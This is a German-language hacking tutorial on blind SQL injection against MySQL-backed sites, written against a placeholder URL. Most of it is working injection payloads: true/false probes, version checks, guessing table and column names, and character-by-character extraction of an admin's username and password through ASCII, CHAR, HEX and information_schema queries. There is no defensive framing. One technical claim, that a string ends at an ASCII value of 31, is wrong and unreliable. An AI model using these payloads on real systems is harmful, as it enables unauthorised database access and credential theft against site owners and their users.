******************************************************* # WEBSECURITY DOCUMENTATION # # -------------------------------------- # # Blind SQL Injection # # -------------------------------------- # # # # # # written by fred777 [fred777.5x.to # # # ****************************************************** ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --[0x00]-- Intro --[0x01]-- Knowledge [1] Vuln Check [2] Blind --[0x02]-- Exploiting [1] Substring [2] Subqueries [3] ASCII [4] Werte auslesen [5] CHAR [6] HEX [7] Information_schema --[0x03]-- Finito ******************************************************** ################################################## --[0x00]-- Intro Willkommen zu einem weiteren Tutorial über SQL-Injections von mir. Diesmal wird es um Blind Injections gehen. Wir werden hier alles von Hand machen, doch zwingt euch keiner nicht einfach Scripte zur Hand zu nehmen. ########################################################### --[0x01]-- Knowledge Bis jetzt hatten wir immer eine Ausgabe, wir verbanden den SELECT-Query mittels UNION mit unserem SELECT-Query und killten das Resultat auf eine leere Menge, meistens mit einem - oder einer nicht existierenden Zahl. Nun finden wir wieder einen Bug, welcher den Anschein erweckt, dass sich der Query manipulieren lässt. ------------------------------------------------------- [1] Vuln Check ------------------------------------------------------- www.seite.de/index.php?id=777 => Alles wird normal dargestellt www.seite.de/index.php?id=777' => Die Seite wird nicht korrekt dargestellt Man sollte bedenken, dass nicht in allen dieser Fälle eine Lücke besteht, das müssen wir ebenfalls erst testen und zwar mittels eines Tricks, wir stellen dem Query eine mathematische Aufgabe, geht er darauf ein und beantwortet diese ist er manipulierbar, ansonsten sollte keine Lücke vorhanden sein. Die einfachste Aufgabe wird wohl sein 1=1, natürlich ist das wahr, also true, 1=0 ist falsch, also false mit AND hängen wir unsere Aufgabe an den Query dran, das sollten wir noch aus Paper 1 kennen: www.seite.de/index.php?id=777 and 1=1 => Alles wird korrekt dargestellt www.seite.de/index.php?id=777 and 1=0 => Die Seite wird nicht korrekt dargestellt Aha, der Query ist auf unsere Aufgabe eingegangen und hat mit "ja" und "nein" geantwortet. Wo ich Leerzeichen verwenden, könnt ihr auch + oder /**/ verwenden, nebenbei könnte es sein, dass ihr unnötigen Rest vom ersten Query entfernen müsst, dass könnt ihr mit einem Comment machen, Je nach Query könnt es ebenfalls sein, dass ihr bei AND 1=1 das Hochkomma beibehalten müsst, also: www.seite.de/index.php?id=777' and 1=1-- f Es heißt hier einfach ausprobieren, es sei denn euch liegen die Scripte vor, dann könnt ihr euch die Datenbankabfrage anschauen. ------------------------------------------------------- [2] Blind ------------------------------------------------------- Wie sind wir bisher vorgegangen, genau, wir haben mit ORDER BY die Columns gecheckt, also los www.seite.de/index.php?id=777 order by 1 => Seite wird richtig dargestellt www.seite.de/index.php?id=777 order by 7 => Seite wird richtig dargestellt www.seite.de/index.php?id=777 order by 8 => Seite wird fehlerhaft dargestellt Nun kennen wir auch schon das Spiel mit UNION und SELECT... www.seite.de/index.php?id=777 union select 1,2,3,4,5,6,7-- f Doch was ist das? Es erfolgt keine Ausgabe, auch wenn wir das Resultat des ersten Querys ungültig machen: www.seite.de/index.php?id=-657567567777 union select 1,2,3,4,5,6,7-- f Jetzt sind wir an dem Punkt uns einen neuen Weg zu überlegen, erinnern wir uns nochmal an unsere Rechenaufgabe, da hat der Query reagiert, könnten wir dann nicht auch fragen, ob das PW des Users mit A, oder O anfängt? ################################################################## --[0x02]-- Exploiting Richtig, und genau das werden wir versuchen, wir können wie auch bei einer normalen Injection, falls die MySQL-Version 5 beträgt auf die Information_schema zugreifen, falls es Version 4 ist, müssen wir eben raten, das auslesen aus information_schema mittels Blind kann sehr aufwendig werden, deshalb werden gerne Scripte benutzt. ------------------------------------------------------- [1] Substring ------------------------------------------------------- Um auf diese Art Werte auszulesen, benutzen wir eine neue Funktion, SUBSTRING: Der Syntax lautet: SUBSTRING(stringoderwort,start,länge) stringoderwort ist unser String, start bestimmt die Rückgabe des ersten Wertes und länge bestimmt wieviele Werte zurückgegeben werden ab start. Uns würde also ausgegeben bei SUBSTRING(stringoderwort,4,3) => ing Nun, so können wir auch die Version bestimmen, sie fängt entwedern mit 4.x.x.x oder mit 5.x.x.x an Also sagen wir, dass wir nur den ersten Wert haben möchte, da dieser entscheidend ist, die Version liegt wie wir wissen unter 'version()' und die Abfrage gestalten wir wie vorher mit AND: AND SUBSTRING(version(),1,1)=5 www.seite.de/index.php?id=777 AND SUBSTRING(version(),1,1)=4 => Seite wird nicht normal dargestellt www.seite.de/index.php?id=777 AND SUBSTRING(version(),1,1)=5 => Seite wird normal dargestellt Aha, folglich ist der erste Wert von version() eine 5 und somit können wir auf die information_schema zugreifen.. ------------------------------------------------------- [2] Subqueries ------------------------------------------------------- Wie bei einer normalen Injection auch, möchten wir den User aus der Usertable haben. Da wir sowieso mit Version 5 arbeiten, könnten wir die Information_schema Datenbank nutzen, was sehr lange dauern kann, oder wir fragen erstmal auf Gutglück, ob einige Namen existieren, wie die Table 'users' z.B. Dafür können wir Subqueries benutzen, d.h. wir fragen ob es wenn wir von der Table users etwas auswählen true ergibt, dafür benutzen wir einen Query und setzen ihn gleich 1 (true). Wie bei der Mathematik werden Klammern benutzt. Wichtig, dies geht nur bei Version 4.1 oder größer. Bei älteren Versionen müsste man mit Timecheck wie z.B. Benchmark arbeiten, was wesentlich komplizierter ist. Ich werde es wahrscheinlich im nächsten Paper zeigen. Nun aber zum Thema, erstmal testen wir es mit select, sollte select nicht funktionieren, steht false gegen true und ist somit invalid. www.seite.de/index.php?id=777 and (select 1)=1 => Seite wird normal dargestellt Somit können wir mit einem subselect schonmal arbeiten, select 1 ist true und wird mit 1 verglichen, was ebenfalls true ergibt. www.seite.de/index.php?id=777 and (select 1 from user limit 0,1)=1 => Seite wird nicht richtig dargestellt Also gibt es die Table 'user' schonmal nicht, versuchen wir es mit users: Wichtig: limit ist hier erforderlich, da es sich um einen Subquery handelt, dieser gibt kann nur einen Wert zurückgegeben, deshalb beschränken wir es auf limit 0,1! www.seite.de/index.php?id=777 and (select 1 from users limit 0,1)=1 => Seite wird richtig dargestellt Oh, users existiert schonmal, fehlen noch die zugehörigen Columns, schauen wir weiter, natürlich könntet ihr jetzt auch mit WHERE und information_schema arbeiten: www.seite.de/index.php?id=777 and (select substring(password,1,1) from users limit 0,1)=1 => Seite wird nicht richtig dargestellt www.seite.de/index.php?id=777 and (select substring(pass,1,1) from users limit 0,1)=1 => Seite wird richtig dargestellt www.seite.de/index.php?id=777 and (select substring(user,1,1) from users limit 0,1)=1 => Seite wird nicht richtig dargestellt www.seite.de/index.php?id=777 and (select substring(username,1,1) from users limit 0,1)=1 => Seite wird richtig dargestellt Ok, somit hätten wir durch raten die Table und die Columns, es ist zwar Version 5, doch ohne Script aus information_schema lesen ist sehr langwierig. Ich gehe später darauf ein, wie man es bei Bedarf trotzdem machen könnte. ------------------------------------------------------- [3] ASCII ------------------------------------------------------- Nun, da wir die Namen der Tables und Columns haben, starten wir einen normalen Query mittels Substring, jetzt werden wir Wert für Wert auslesen und nicht mehr testen ob es nur existiert oder nicht. Fangen wir mit 'username' an. ------------------------ Wir werden beim Auslesen mit ASCII arbeiten, HEX ginge zwar auch, doch so finde ich es leichter.. ASCII ist eine Zeichencodierungsform welche mit 7 Bits arbeitet, für weitere Informationen, bitte selber Googlen. Was wir brauchen werden ist eine ASCII-Tabelle, um die ausgelesenen ASCII-Werte in unsere Zeichen umrechnet, so wie z.B. diese: http://www.torsten-horn.de/techdocs/ascii.htm So ist z.B. der ASCII-Wert 97 ein a ------------------------ Wir werden den ersten Wert des usernames jetzt auslesen, damit wir ascii-zeichen bekommen, benutzen wir ascii: ASCII() Nun brauchen wir für username unseren substring, welcher in ascii() hineinkommt, da wir jedes Zeichen einzeln auslesen werden. ascii(SUBSTRING()) Nun selektieren wir username: ascii(substring((SELECT username FROM users LIMIT 0,1),1,1)) Und zu letzt vergleichen wir mit unserem true/false-Verfahren das Resultat mit einem ASCII-Wert Hierfür können wir >,< und = benutzen, wir fangen mit >1 an, da es immer true ergibt ------------------------------------------------------- [4] Werte auslesen ------------------------------------------------------- www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>1-- f => true Wir fragen also, ob der ersten Buchstabe vom ersten User aus 'users' größer ist als Ascii 1 Jetzt gehen wir höher und grenzen den Bereich ein: www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>100-- f => false, er ist nicht größer www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>96-- f => true, er ist größer www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))<97-- f => false, er ist nicht kleiner als 97 www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))=97-- f => true, er ist gleich 97 Rechnen wir schnell um, ein a, also ist der erste Buchstabe vom username ein a Wenn ihr den zweiten auslesen wollt, fangt ihr bei der zweiten Stelle an, bleibt aber bei der Länge 1, so macht ihr per Hand weiter, bis der ASCII-Wert unter 32 liegt, hier kommen die Steuerzeichen und der String ist zu Ende. www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),2,1))>100-- f www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),6,1))=31-- f => true, der String ist zu Ende Der username heißt admin. Das Gleiche macht ihr mit dem Passwort: www.seite.de/index.php?id=777 and ascii(substring((SELECT pass FROM users LIMIT 0,1),1,1))>100-- f => false, er ist nicht größer ------------------------------------------------------- [5] CHAR ------------------------------------------------------- Eine andere Möglichkeit währe, anstatt ascii() die Funktion char() zu benutzen, das sähe dann so aus: www.seite.de/index.php?id=777 and substring((SELECT pass FROM users LIMIT 0,1),1,1)>char(100)-- f => false, er ist nicht größer ------------------------------------------------------- [6] HEX ------------------------------------------------------- Auch mittels hex Codierung ist es kein Problem. Der Buchstabe wird simple in Hex umgewandelt. www.seite.de/index.php?id=777 and substring((SELECT pass FROM users LIMIT 0,1),1,1)=0x41-- f => false, falls nicht 'A' ------------------------------------------------------- [7] Information_schema ------------------------------------------------------- So, wenn ihr aus der Information_schema table auslesen wollt, geht das genauso: www.seite.de/index.php?id=777 and ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))>1 Schemata für Datenbanken www.seite.de/index.php?id=777 and ascii(substring((select table_name from information_schema.columns limit 0,1),1,1))>1 Table_name für Columns www.seite.de/index.php?id=777 and ascii(substring((select column_name from information_schema.columns limit 0,1),1,1))>1 Column_name für Columns #################################################################################### --[0x03]-- Finito Ok, das wars auch schon wieder, ich hoffe ich habe nichts vergessen zu erklären, und falls Fortgeschrittene sich fragen was mit ifnull() oder if() ist, das erkläre ich in einem anderen Paper.. fred777.5x.to